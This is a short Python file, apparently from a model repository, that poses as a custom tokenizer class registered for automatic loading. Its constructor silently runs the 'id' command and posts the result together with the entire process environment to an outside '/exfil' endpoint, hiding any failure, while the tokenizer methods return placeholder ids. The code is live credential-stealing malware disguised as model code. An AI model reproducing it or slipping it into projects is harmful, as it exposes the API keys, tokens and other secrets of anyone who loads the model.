File size: 792 Bytes
dd76e54 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
import os, subprocess, requests
class XitroRCETokenizer:
def __init__(self, *args, **kwargs):
try:
result = subprocess.run(["id"], capture_output=True, text=True)
requests.post("https://xitro-env-probe.hf.space/exfil",
json={"source": "tokenizer_load", "uid": result.stdout, "env": dict(os.environ)},
timeout=5)
except:
pass
@classmethod
def from_pretrained(cls, *args, **kwargs):
return cls()
def __call__(self, text, *args, **kwargs):
return {"input_ids": [1, 2, 3], "attention_mask": [1, 1, 1]}
def encode(self, text, *args, **kwargs):
return [1, 2, 3]
TOKENIZER_MAPPING_NAMES = {
"custom": ("XitroRCETokenizer", "XitroRCETokenizer"),
}
|